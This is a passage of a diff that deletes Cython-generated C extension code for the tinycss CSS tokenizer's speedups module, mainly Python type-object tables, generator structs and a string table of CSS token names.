__pyx_getprop_7tinycss_8speedups_6CToken_value, __pyx_setprop_7tinycss_8speedups_6CToken_value, 0, 0}, - {(char *)"unit", __pyx_getprop_7tinycss_8speedups_6CToken_unit, __pyx_setprop_7tinycss_8speedups_6CToken_unit, 0, 0}, - {(char *)"line", __pyx_getprop_7tinycss_8speedups_6CToken_line, __pyx_setprop_7tinycss_8speedups_6CToken_line, 0, 0}, - {(char *)"column", __pyx_getprop_7tinycss_8speedups_6CToken_column, __pyx_setprop_7tinycss_8speedups_6CToken_column, 0, 0}, - {0, 0, 0, 0, 0} -}; - -static PyNumberMethods __pyx_tp_as_number_CToken = { - 0, /*nb_add*/ - 0, /*nb_subtract*/ - 0, /*nb_multiply*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_divide*/ - #endif - 0, /*nb_remainder*/ - 0, /*nb_divmod*/ - 0, /*nb_power*/ - 0, /*nb_negative*/ - 0, /*nb_positive*/ - 0, /*nb_absolute*/ - 0, /*nb_nonzero*/ - 0, /*nb_invert*/ - 0, /*nb_lshift*/ - 0, /*nb_rshift*/ - 0, /*nb_and*/ - 0, /*nb_xor*/ - 0, /*nb_or*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_coerce*/ - #endif - 0, /*nb_int*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_long*/ - #else - 0, /*reserved*/ - #endif - 0, /*nb_float*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_oct*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*nb_hex*/ - #endif - 0, /*nb_inplace_add*/ - 0, /*nb_inplace_subtract*/ - 0, /*nb_inplace_multiply*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_inplace_divide*/ - #endif - 0, /*nb_inplace_remainder*/ - 0, /*nb_inplace_power*/ - 0, /*nb_inplace_lshift*/ - 0, /*nb_inplace_rshift*/ - 0, /*nb_inplace_and*/ - 0, /*nb_inplace_xor*/ - 0, /*nb_inplace_or*/ - 0, /*nb_floor_divide*/ - 0, /*nb_true_divide*/ - 0, /*nb_inplace_floor_divide*/ - 0, /*nb_inplace_true_divide*/ - #if PY_VERSION_HEX >= 0x02050000 - 0, /*nb_index*/ - #endif -}; - -static PySequenceMethods __pyx_tp_as_sequence_CToken = { - 0, /*sq_length*/ - 0, /*sq_concat*/ - 0, /*sq_repeat*/ - 0, /*sq_item*/ - 0, /*sq_slice*/ - 0, /*sq_ass_item*/ - 0, /*sq_ass_slice*/ - 0, /*sq_contains*/ - 0, /*sq_inplace_concat*/ - 0, /*sq_inplace_repeat*/ -}; - -static PyMappingMethods __pyx_tp_as_mapping_CToken = { - 0, /*mp_length*/ - 0, /*mp_subscript*/ - 0, /*mp_ass_subscript*/ -}; - -static PyBufferProcs __pyx_tp_as_buffer_CToken = { - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getreadbuffer*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getwritebuffer*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getsegcount*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getcharbuffer*/ - #endif - #if PY_VERSION_HEX >= 0x02060000 - 0, /*bf_getbuffer*/ - #endif - #if PY_VERSION_HEX >= 0x02060000 - 0, /*bf_releasebuffer*/ - #endif -}; - -static PyTypeObject __pyx_type_7tinycss_8speedups_CToken = { - PyVarObject_HEAD_INIT(0, 0) - __Pyx_NAMESTR("tinycss.speedups.CToken"), /*tp_name*/ - sizeof(struct __pyx_obj_7tinycss_8speedups_CToken), /*tp_basicsize*/ - 0, /*tp_itemsize*/ - __pyx_tp_dealloc_7tinycss_8speedups_CToken, /*tp_dealloc*/ - 0, /*tp_print*/ - 0, /*tp_getattr*/ - 0, /*tp_setattr*/ - #if PY_MAJOR_VERSION < 3 - 0, /*tp_compare*/ - #else - 0, /*reserved*/ - #endif - __pyx_pf_7tinycss_8speedups_6CToken_2__repr__, /*tp_repr*/ - &__pyx_tp_as_number_CToken, /*tp_as_number*/ - &__pyx_tp_as_sequence_CToken, /*tp_as_sequence*/ - &__pyx_tp_as_mapping_CToken, /*tp_as_mapping*/ - 0, /*tp_hash*/ - 0, /*tp_call*/ - 0, /*tp_str*/ - 0, /*tp_getattro*/ - 0, /*tp_setattro*/ - &__pyx_tp_as_buffer_CToken, /*tp_as_buffer*/ - Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE|Py_TPFLAGS_HAVE_GC, /*tp_flags*/ - __Pyx_DOCSTR("A token built by the Cython speedups. Identical to\n :class:`~.token_data.Token`.\n\n "), /*tp_doc*/ - __pyx_tp_traverse_7tinycss_8speedups_CToken, /*tp_traverse*/ - __pyx_tp_clear_7tinycss_8speedups_CToken, /*tp_clear*/ - 0, /*tp_richcompare*/ - 0, /*tp_weaklistoffset*/ - 0, /*tp_iter*/ - 0, /*tp_iternext*/ - __pyx_methods_7tinycss_8speedups_CToken, /*tp_methods*/ - 0, /*tp_members*/ - __pyx_getsets_7tinycss_8speedups_CToken, /*tp_getset*/ - 0, /*tp_base*/ - 0, /*tp_dict*/ - 0, /*tp_descr_get*/ - 0, /*tp_descr_set*/ - 0, /*tp_dictoffset*/ - __pyx_pf_7tinycss_8speedups_6CToken___init__, /*tp_init*/ - 0, /*tp_alloc*/ - __pyx_tp_new_7tinycss_8speedups_CToken, /*tp_new*/ - 0, /*tp_free*/ - 0, /*tp_is_gc*/ - 0, /*tp_bases*/ - 0, /*tp_mro*/ - 0, /*tp_cache*/ - 0, /*tp_subclasses*/ - 0, /*tp_weaklist*/ - 0, /*tp_del*/ - #if PY_VERSION_HEX >= 0x02060000 - 0, /*tp_version_tag*/ - #endif -}; - -static PyObject *__pyx_tp_new_7tinycss_8speedups___pyx_Generator(PyTypeObject *t, PyObject *a, PyObject *k) { - struct __pyx_Generator_object *p; - PyObject *o = (*t->tp_alloc)(t, 0); - if (!o) return 0; - p = ((struct __pyx_Generator_object *)o); - p->exc_type = 0; - p->exc_value = 0; - p->exc_traceback = 0; - return o; -} - -static void __pyx_tp_dealloc_7tinycss_8speedups___pyx_Generator(PyObject *o) { - struct __pyx_Generator_object *p = (struct __pyx_Generator_object *)o; - Py_XDECREF(p->exc_type); - Py_XDECREF(p->exc_value); - Py_XDECREF(p->exc_traceback); - (*Py_TYPE(o)->tp_free)(o); -} - -static int __pyx_tp_traverse_7tinycss_8speedups___pyx_Generator(PyObject *o, visitproc v, void *a) { - int e; - struct __pyx_Generator_object *p = (struct __pyx_Generator_object *)o; - if (p->exc_type) { - e = (*v)(p->exc_type, a); if (e) return e; - } - if (p->exc_value) { - e = (*v)(p->exc_value, a); if (e) return e; - } - if (p->exc_traceback) { - e = (*v)(p->exc_traceback, a); if (e) return e; - } - return 0; -} - -static int __pyx_tp_clear_7tinycss_8speedups___pyx_Generator(PyObject *o) { - struct __pyx_Generator_object *p = (struct __pyx_Generator_object *)o; - PyObject* tmp; - tmp = ((PyObject*)p->exc_type); - p->exc_type = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->exc_value); - p->exc_value = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->exc_traceback); - p->exc_traceback = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - return 0; -} - -static PyMethodDef __pyx_methods_7tinycss_8speedups___pyx_Generator[] = { - {__Pyx_NAMESTR("send"), (PyCFunction)__Pyx_Generator_Send, METH_O, __Pyx_DOCSTR(0)}, - {__Pyx_NAMESTR("close"), (PyCFunction)__Pyx_Generator_Close, METH_NOARGS, __Pyx_DOCSTR(0)}, - {__Pyx_NAMESTR("throw"), (PyCFunction)__Pyx_Generator_Throw, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)}, - {0, 0, 0, 0} -}; - -static PyNumberMethods __pyx_tp_as_number___pyx_Generator = { - 0, /*nb_add*/ - 0, /*nb_subtract*/ - 0, /*nb_multiply*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_divide*/ - #endif - 0, /*nb_remainder*/ - 0, /*nb_divmod*/ - 0, /*nb_power*/ - 0, /*nb_negative*/ - 0, /*nb_positive*/ - 0, /*nb_absolute*/ - 0, /*nb_nonzero*/ - 0, /*nb_invert*/ - 0, /*nb_lshift*/ - 0, /*nb_rshift*/ - 0, /*nb_and*/ - 0, /*nb_xor*/ - 0, /*nb_or*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_coerce*/ - #endif - 0, /*nb_int*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_long*/ - #else - 0, /*reserved*/ - #endif - 0, /*nb_float*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_oct*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*nb_hex*/ - #endif - 0, /*nb_inplace_add*/ - 0, /*nb_inplace_subtract*/ - 0, /*nb_inplace_multiply*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_inplace_divide*/ - #endif - 0, /*nb_inplace_remainder*/ - 0, /*nb_inplace_power*/ - 0, /*nb_inplace_lshift*/ - 0, /*nb_inplace_rshift*/ - 0, /*nb_inplace_and*/ - 0, /*nb_inplace_xor*/ - 0, /*nb_inplace_or*/ - 0, /*nb_floor_divide*/ - 0, /*nb_true_divide*/ - 0, /*nb_inplace_floor_divide*/ - 0, /*nb_inplace_true_divide*/ - #if PY_VERSION_HEX >= 0x02050000 - 0, /*nb_index*/ - #endif -}; - -static PySequenceMethods __pyx_tp_as_sequence___pyx_Generator = { - 0, /*sq_length*/ - 0, /*sq_concat*/ - 0, /*sq_repeat*/ - 0, /*sq_item*/ - 0, /*sq_slice*/ - 0, /*sq_ass_item*/ - 0, /*sq_ass_slice*/ - 0, /*sq_contains*/ - 0, /*sq_inplace_concat*/ - 0, /*sq_inplace_repeat*/ -}; - -static PyMappingMethods __pyx_tp_as_mapping___pyx_Generator = { - 0, /*mp_length*/ - 0, /*mp_subscript*/ - 0, /*mp_ass_subscript*/ -}; - -static PyBufferProcs __pyx_tp_as_buffer___pyx_Generator = { - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getreadbuffer*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getwritebuffer*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getsegcount*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getcharbuffer*/ - #endif - #if PY_VERSION_HEX >= 0x02060000 - 0, /*bf_getbuffer*/ - #endif - #if PY_VERSION_HEX >= 0x02060000 - 0, /*bf_releasebuffer*/ - #endif -}; - -static PyTypeObject __pyx_Generator_type = { - PyVarObject_HEAD_INIT(0, 0) - __Pyx_NAMESTR("tinycss.speedups.__pyx_Generator"), /*tp_name*/ - sizeof(struct __pyx_Generator_object), /*tp_basicsize*/ - 0, /*tp_itemsize*/ - __pyx_tp_dealloc_7tinycss_8speedups___pyx_Generator, /*tp_dealloc*/ - 0, /*tp_print*/ - 0, /*tp_getattr*/ - 0, /*tp_setattr*/ - #if PY_MAJOR_VERSION < 3 - 0, /*tp_compare*/ - #else - 0, /*reserved*/ - #endif - 0, /*tp_repr*/ - &__pyx_tp_as_number___pyx_Generator, /*tp_as_number*/ - &__pyx_tp_as_sequence___pyx_Generator, /*tp_as_sequence*/ - &__pyx_tp_as_mapping___pyx_Generator, /*tp_as_mapping*/ - 0, /*tp_hash*/ - 0, /*tp_call*/ - 0, /*tp_str*/ - 0, /*tp_getattro*/ - 0, /*tp_setattro*/ - &__pyx_tp_as_buffer___pyx_Generator, /*tp_as_buffer*/ - Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC, /*tp_flags*/ - 0, /*tp_doc*/ - __pyx_tp_traverse_7tinycss_8speedups___pyx_Generator, /*tp_traverse*/ - __pyx_tp_clear_7tinycss_8speedups___pyx_Generator, /*tp_clear*/ - 0, /*tp_richcompare*/ - 0, /*tp_weaklistoffset*/ - PyObject_SelfIter, /*tp_iter*/ - __Pyx_Generator_Next, /*tp_iternext*/ - __pyx_methods_7tinycss_8speedups___pyx_Generator, /*tp_methods*/ - 0, /*tp_members*/ - 0, /*tp_getset*/ - 0, /*tp_base*/ - 0, /*tp_dict*/ - 0, /*tp_descr_get*/ - 0, /*tp_descr_set*/ - 0, /*tp_dictoffset*/ - 0, /*tp_init*/ - 0, /*tp_alloc*/ - __pyx_tp_new_7tinycss_8speedups___pyx_Generator, /*tp_new*/ - 0, /*tp_free*/ - 0, /*tp_is_gc*/ - 0, /*tp_bases*/ - 0, /*tp_mro*/ - 0, /*tp_cache*/ - 0, /*tp_subclasses*/ - 0, /*tp_weaklist*/ - 0, /*tp_del*/ - #if PY_VERSION_HEX >= 0x02060000 - 0, /*tp_version_tag*/ - #endif -}; - -static PyObject *__pyx_tp_new_7tinycss_8speedups___pyx_scope_struct__genexpr(PyTypeObject *t, PyObject *a, PyObject *k) { - struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *p; - PyObject *o = __pyx_tp_new_7tinycss_8speedups___pyx_Generator(t, a, k); - if (!o) return 0; - p = ((struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)o); - p->__pyx_v_i = 0; - p->__pyx_v_name = 0; - p->__pyx_v_regexp = 0; - p->__pyx_t_0 = 0; - p->__pyx_t_1 = 0; - return o; -} - -static void __pyx_tp_dealloc_7tinycss_8speedups___pyx_scope_struct__genexpr(PyObject *o) { - struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *p = (struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)o; - Py_XDECREF(p->__pyx_v_i); - Py_XDECREF(p->__pyx_v_name); - Py_XDECREF(p->__pyx_v_regexp); - Py_XDECREF(p->__pyx_t_0); - Py_XDECREF(p->__pyx_t_1); - __pyx_tp_dealloc_7tinycss_8speedups___pyx_Generator(o); -} - -static int __pyx_tp_traverse_7tinycss_8speedups___pyx_scope_struct__genexpr(PyObject *o, visitproc v, void *a) { - int e; - struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *p = (struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)o; - e = __pyx_tp_traverse_7tinycss_8speedups___pyx_Generator(o, v, a); if (e) return e; - if (p->__pyx_v_i) { - e = (*v)(p->__pyx_v_i, a); if (e) return e; - } - if (p->__pyx_v_name) { - e = (*v)(p->__pyx_v_name, a); if (e) return e; - } - if (p->__pyx_v_regexp) { - e = (*v)(p->__pyx_v_regexp, a); if (e) return e; - } - if (p->__pyx_t_0) { - e = (*v)(p->__pyx_t_0, a); if (e) return e; - } - if (p->__pyx_t_1) { - e = (*v)(p->__pyx_t_1, a); if (e) return e; - } - return 0; -} - -static int __pyx_tp_clear_7tinycss_8speedups___pyx_scope_struct__genexpr(PyObject *o) { - struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *p = (struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)o; - PyObject* tmp; - __pyx_tp_clear_7tinycss_8speedups___pyx_Generator(o); - tmp = ((PyObject*)p->__pyx_v_i); - p->__pyx_v_i = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->__pyx_v_name); - p->__pyx_v_name = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->__pyx_v_regexp); - p->__pyx_v_regexp = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->__pyx_t_0); - p->__pyx_t_0 = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->__pyx_t_1); - p->__pyx_t_1 = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - return 0; -} - -static PyMethodDef __pyx_methods_7tinycss_8speedups___pyx_scope_struct__genexpr[] = { - {0, 0, 0, 0} -}; - -static PyNumberMethods __pyx_tp_as_number___pyx_scope_struct__genexpr = { - 0, /*nb_add*/ - 0, /*nb_subtract*/ - 0, /*nb_multiply*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_divide*/ - #endif - 0, /*nb_remainder*/ - 0, /*nb_divmod*/ - 0, /*nb_power*/ - 0, /*nb_negative*/ - 0, /*nb_positive*/ - 0, /*nb_absolute*/ - 0, /*nb_nonzero*/ - 0, /*nb_invert*/ - 0, /*nb_lshift*/ - 0, /*nb_rshift*/ - 0, /*nb_and*/ - 0, /*nb_xor*/ - 0, /*nb_or*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_coerce*/ - #endif - 0, /*nb_int*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_long*/ - #else - 0, /*reserved*/ - #endif - 0, /*nb_float*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_oct*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*nb_hex*/ - #endif - 0, /*nb_inplace_add*/ - 0, /*nb_inplace_subtract*/ - 0, /*nb_inplace_multiply*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_inplace_divide*/ - #endif - 0, /*nb_inplace_remainder*/ - 0, /*nb_inplace_power*/ - 0, /*nb_inplace_lshift*/ - 0, /*nb_inplace_rshift*/ - 0, /*nb_inplace_and*/ - 0, /*nb_inplace_xor*/ - 0, /*nb_inplace_or*/ - 0, /*nb_floor_divide*/ - 0, /*nb_true_divide*/ - 0, /*nb_inplace_floor_divide*/ - 0, /*nb_inplace_true_divide*/ - #if PY_VERSION_HEX >= 0x02050000 - 0, /*nb_index*/ - #endif -}; - -static PySequenceMethods __pyx_tp_as_sequence___pyx_scope_struct__genexpr = { - 0, /*sq_length*/ - 0, /*sq_concat*/ - 0, /*sq_repeat*/ - 0, /*sq_item*/ - 0, /*sq_slice*/ - 0, /*sq_ass_item*/ - 0, /*sq_ass_slice*/ - 0, /*sq_contains*/ - 0, /*sq_inplace_concat*/ - 0, /*sq_inplace_repeat*/ -}; - -static PyMappingMethods __pyx_tp_as_mapping___pyx_scope_struct__genexpr = { - 0, /*mp_length*/ - 0, /*mp_subscript*/ - 0, /*mp_ass_subscript*/ -}; - -static PyBufferProcs __pyx_tp_as_buffer___pyx_scope_struct__genexpr = { - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getreadbuffer*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getwritebuffer*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getsegcount*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getcharbuffer*/ - #endif - #if PY_VERSION_HEX >= 0x02060000 - 0, /*bf_getbuffer*/ - #endif - #if PY_VERSION_HEX >= 0x02060000 - 0, /*bf_releasebuffer*/ - #endif -}; - -static PyTypeObject __pyx_type_7tinycss_8speedups___pyx_scope_struct__genexpr = { - PyVarObject_HEAD_INIT(0, 0) - __Pyx_NAMESTR("tinycss.speedups.__pyx_scope_struct__genexpr"), /*tp_name*/ - sizeof(struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr), /*tp_basicsize*/ - 0, /*tp_itemsize*/ - __pyx_tp_dealloc_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_dealloc*/ - 0, /*tp_print*/ - 0, /*tp_getattr*/ - 0, /*tp_setattr*/ - #if PY_MAJOR_VERSION < 3 - 0, /*tp_compare*/ - #else - 0, /*reserved*/ - #endif - 0, /*tp_repr*/ - &__pyx_tp_as_number___pyx_scope_struct__genexpr, /*tp_as_number*/ - &__pyx_tp_as_sequence___pyx_scope_struct__genexpr, /*tp_as_sequence*/ - &__pyx_tp_as_mapping___pyx_scope_struct__genexpr, /*tp_as_mapping*/ - 0, /*tp_hash*/ - 0, /*tp_call*/ - 0, /*tp_str*/ - 0, /*tp_getattro*/ - 0, /*tp_setattro*/ - &__pyx_tp_as_buffer___pyx_scope_struct__genexpr, /*tp_as_buffer*/ - Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC, /*tp_flags*/ - 0, /*tp_doc*/ - __pyx_tp_traverse_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_traverse*/ - __pyx_tp_clear_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_clear*/ - 0, /*tp_richcompare*/ - 0, /*tp_weaklistoffset*/ - 0, /*tp_iter*/ - 0, /*tp_iternext*/ - __pyx_methods_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_methods*/ - 0, /*tp_members*/ - 0, /*tp_getset*/ - 0, /*tp_base*/ - 0, /*tp_dict*/ - 0, /*tp_descr_get*/ - 0, /*tp_descr_set*/ - 0, /*tp_dictoffset*/ - 0, /*tp_init*/ - 0, /*tp_alloc*/ - __pyx_tp_new_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_new*/ - 0, /*tp_free*/ - 0, /*tp_is_gc*/ - 0, /*tp_bases*/ - 0, /*tp_mro*/ - 0, /*tp_cache*/ - 0, /*tp_subclasses*/ - 0, /*tp_weaklist*/ - 0, /*tp_del*/ - #if PY_VERSION_HEX >= 0x02060000 - 0, /*tp_version_tag*/ - #endif -}; - -static PyMethodDef __pyx_methods[] = { - {0, 0, 0, 0} -}; - -#if PY_MAJOR_VERSION >= 3 -static struct PyModuleDef __pyx_moduledef = { - PyModuleDef_HEAD_INIT, - __Pyx_NAMESTR("speedups"), - __Pyx_DOCSTR(__pyx_k_12), /* m_doc */ - -1, /* m_size */ - __pyx_methods /* m_methods */, - NULL, /* m_reload */ - NULL, /* m_traverse */ - NULL, /* m_clear */ - NULL /* m_free */ -}; -#endif - -static __Pyx_StringTabEntry __pyx_string_tab[] = { - {&__pyx_n_s_1, __pyx_k_1, sizeof(__pyx_k_1), 0, 0, 1, 1}, - {&__pyx_kp_u_11, __pyx_k_11, sizeof(__pyx_k_11), 0, 1, 0, 0}, - {&__pyx_n_s_13, __pyx_k_13, sizeof(__pyx_k_13), 0, 0, 1, 1}, - {&__pyx_kp_u_2, __pyx_k_2, sizeof(__pyx_k_2), 0, 1, 0, 0}, - {&__pyx_kp_u_3, __pyx_k_3, sizeof(__pyx_k_3), 0, 1, 0, 0}, - {&__pyx_n_s_4, __pyx_k_4, sizeof(__pyx_k_4), 0, 0, 1, 1}, - {&__pyx_kp_u_5, __pyx_k_5, sizeof(__pyx_k_5), 0, 1, 0, 0}, - {&__pyx_kp_u_7, __pyx_k_7, sizeof(__pyx_k_7), 0, 1, 0, 0}, - {&__pyx_kp_u_9, __pyx_k_9, sizeof(__pyx_k_9), 0, 1, 0, 0}, - {&__pyx_n_u__ATKEYWORD, __pyx_k__ATKEYWORD, sizeof(__pyx_k__ATKEYWORD), 0, 1, 0, 1}, - {&__pyx_n_u__BAD_COMMENT, __pyx_k__BAD_COMMENT, sizeof(__pyx_k__BAD_COMMENT), 0, 1, 0, 1}, - {&__pyx_n_u__BAD_STRING, __pyx_k__BAD_STRING, sizeof(__pyx_k__BAD_STRING), 0, 1, 0, 1}, - {&__pyx_n_u__COMMENT, __pyx_k__COMMENT, sizeof(__pyx_k__COMMENT), 0, 1, 0, 1}, - {&__pyx_n_u__DELIM, __pyx_k__DELIM, sizeof(__pyx_k__DELIM), 0, 1, 0, 1}, - {&__pyx_n_u__DIMENSION, __pyx_k__DIMENSION, sizeof(__pyx_k__DIMENSION), 0, 1, 0, 1}, - {&__pyx_n_s__FIND_NEWLINES, __pyx_k__FIND_NEWLINES, sizeof(__pyx_k__FIND_NEWLINES), 0, 0, 1, 1}, - {&__pyx_n_u__FUNCTION, __pyx_k__FUNCTION, sizeof(__pyx_k__FUNCTION), 0, 1, 0, 1}, - {&__pyx_n_u__HASH, __pyx_k__HASH, sizeof(__pyx_k__HASH), 0, 1, 0, 1}, - {&__pyx_n_u__IDENT, __pyx_k__IDENT, sizeof(__pyx_k__IDENT), 0, 1, 0, 1}, - {&__pyx_n_u__INTEGER, __pyx_k__INTEGER, sizeof(__pyx_k__INTEGER), 0, 1, 0, 1}, - {&__pyx_n_s__NEWLINE_UNESCAPE, __pyx_k__NEWLINE_UNESCAPE, sizeof(__pyx_k__NEWLINE_UNESCAPE), 0, 0, 1, 1}, - {&__pyx_n_u__NUMBER, __pyx_k__NUMBER, sizeof(__pyx_k__NUMBER), 0, 1, 0, 1}, - {&__pyx_n_u__PERCENTAGE, __pyx_k__PERCENTAGE, sizeof(__pyx_k__PERCENTAGE), 0, 1, 0, 1}, - {&__pyx_n_s__SIMPLE_UNESCAPE, __pyx_k__SIMPLE_UNESCAPE, sizeof(__pyx_k__SIMPLE_UNESCAPE), 0, 0, 1, 1}, - {&__pyx_n_u__STRING, __pyx_k__STRING, sizeof(__pyx_k__STRING), 0, 1, 0, 1}, - {&__pyx_n_s__TOKEN_DISPATCH, __pyx_k__TOKEN_DISPATCH, sizeof(__pyx_k__TOKEN_DISPATCH), 0, 0, 1, 1}, - {&__pyx_n_s__UNICODE_UNESCAPE, __pyx_k__UNICODE_UNESCAPE, sizeof(__pyx_k__UNICODE_UNESCAPE), 0, 0, 1, 1}, - {&__pyx_n_u__URI, __pyx_k__URI, sizeof(__pyx_k__URI), 0, 1, 0, 1}, - {&__pyx_n_s____main__, __pyx_k____main__, sizeof(__pyx_k____main__), 0, 0, 1, 1}, - {&__pyx_n_s____test__, __pyx_k____test__, sizeof(__pyx_k____test__), 0, 0, 1, 1}, - {&__pyx_n_s__column, __pyx_k__column, sizeof(__pyx_k__column), 0, 0, 1, 1}, - {&__pyx_n_s__css_source, __pyx_k__css_source, sizeof(__pyx_k__css_source), 0, 0, 1, 1}, - {&__pyx_n_s__css_value, __pyx_k__css_value, sizeof(__pyx_k__css_value), 0, 0, 1, 1}, - {&__pyx_n_s__end, __pyx_k__end, sizeof(__pyx_k__end), 0, 0, 1, 1}, - {&__pyx_n_s__enumerate, __pyx_k__enumerate, sizeof(__pyx_k__enumerate), 0, 0, 1, 1}, - {&__pyx_n_s__format, __pyx_k__format, sizeof(__pyx_k__format), 0, 0, 1, 1}, - {&__pyx_n_s__group, __pyx_k__group, sizeof(__pyx_k__group), 0, 0, 1, 1}, - {&__pyx_n_s__ignore_comments, __pyx_k__ignore_comments, sizeof(__pyx_k__ignore_comments), 0, 0, 1, 1}, - {&__pyx_n_s__is_container, __pyx_k__is_container, sizeof(__pyx_k__is_container), 0, 0, 1, 1}, - {&__pyx_n_s__line, __pyx_k__line, sizeof(__pyx_k__line), 0, 0, 1, 1}, - {&__pyx_n_s__lower, __pyx_k__lower, sizeof(__pyx_k__lower), 0, 0, 1, 1}, - {&__pyx_n_s__ord, __pyx_k__ord, sizeof(__pyx_k__ord), 0, 0, 1, 1}, - {&__pyx_n_s__token_data, __pyx_k__token_data, sizeof(__pyx_k__token_data), 0, 0, 1, 1}, - {&__pyx_n_s__tokenize_flat, __pyx_k__tokenize_flat, sizeof(__pyx_k__tokenize_flat), 0, 0, 1, 1}, - {&__pyx_n_s__type_, __pyx_k__type_, sizeof(__pyx_k__type_), 0, 0, 1, 1}, - {&__pyx_n_s__unit, __pyx_k__unit, sizeof(__pyx_k__unit), 0, 0, 1, 1}, - {&__pyx_n_s__value, __pyx_k__value, sizeof(__pyx_k__value), 0, 0, 1, 1}, - {0, 0, 0, 0, 0, 0, 0} -}; -static int __Pyx_InitCachedBuiltins(void) { - __pyx_builtin_enumerate = __Pyx_GetName(__pyx_b, __pyx_n_s__enumerate); if (!__pyx_builtin_enumerate) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_builtin_ord = __Pyx_GetName(__pyx_b, __pyx_n_s__ord); if (!__pyx_builtin_ord) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - return 0; - __pyx_L1_error:; - return -1; -} - -static int __Pyx_InitCachedConstants(void) { - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants"); - - /* "tinycss/speedups.pyx":130 - * unit = None - * if type_ == DIMENSION: - * value = match.group(1) # <<<<<<<<<<<<<< - * value = float(value) if '.' in value else int(value) - * unit = match.group(2) - */ - __pyx_k_tuple_6 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_6)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 130; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_k_tuple_6)); - __Pyx_INCREF(__pyx_int_1); - PyTuple_SET_ITEM(__pyx_k_tuple_6, 0, __pyx_int_1); - __Pyx_GIVEREF(__pyx_int_1); - __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_6)); - - /* "tinycss/speedups.pyx":132 - * value = match.group(1) - * value = float(value) if '.' in value else int(value) - * unit = match.group(2) # <<<<<<<<<<<<<< - * unit = simple_unescape(unit) - * unit = unicode_unescape(unit) - */ - __pyx_k_tuple_8 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_8)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 132; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_k_tuple_8)); - __Pyx_INCREF(__pyx_int_2); - PyTuple_SET_ITEM(__pyx_k_tuple_8, 0, __pyx_int_2); - __Pyx_GIVEREF(__pyx_int_2); - __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_8)); - - /* "tinycss/speedups.pyx":151 - * value = unicode_unescape(value) - * 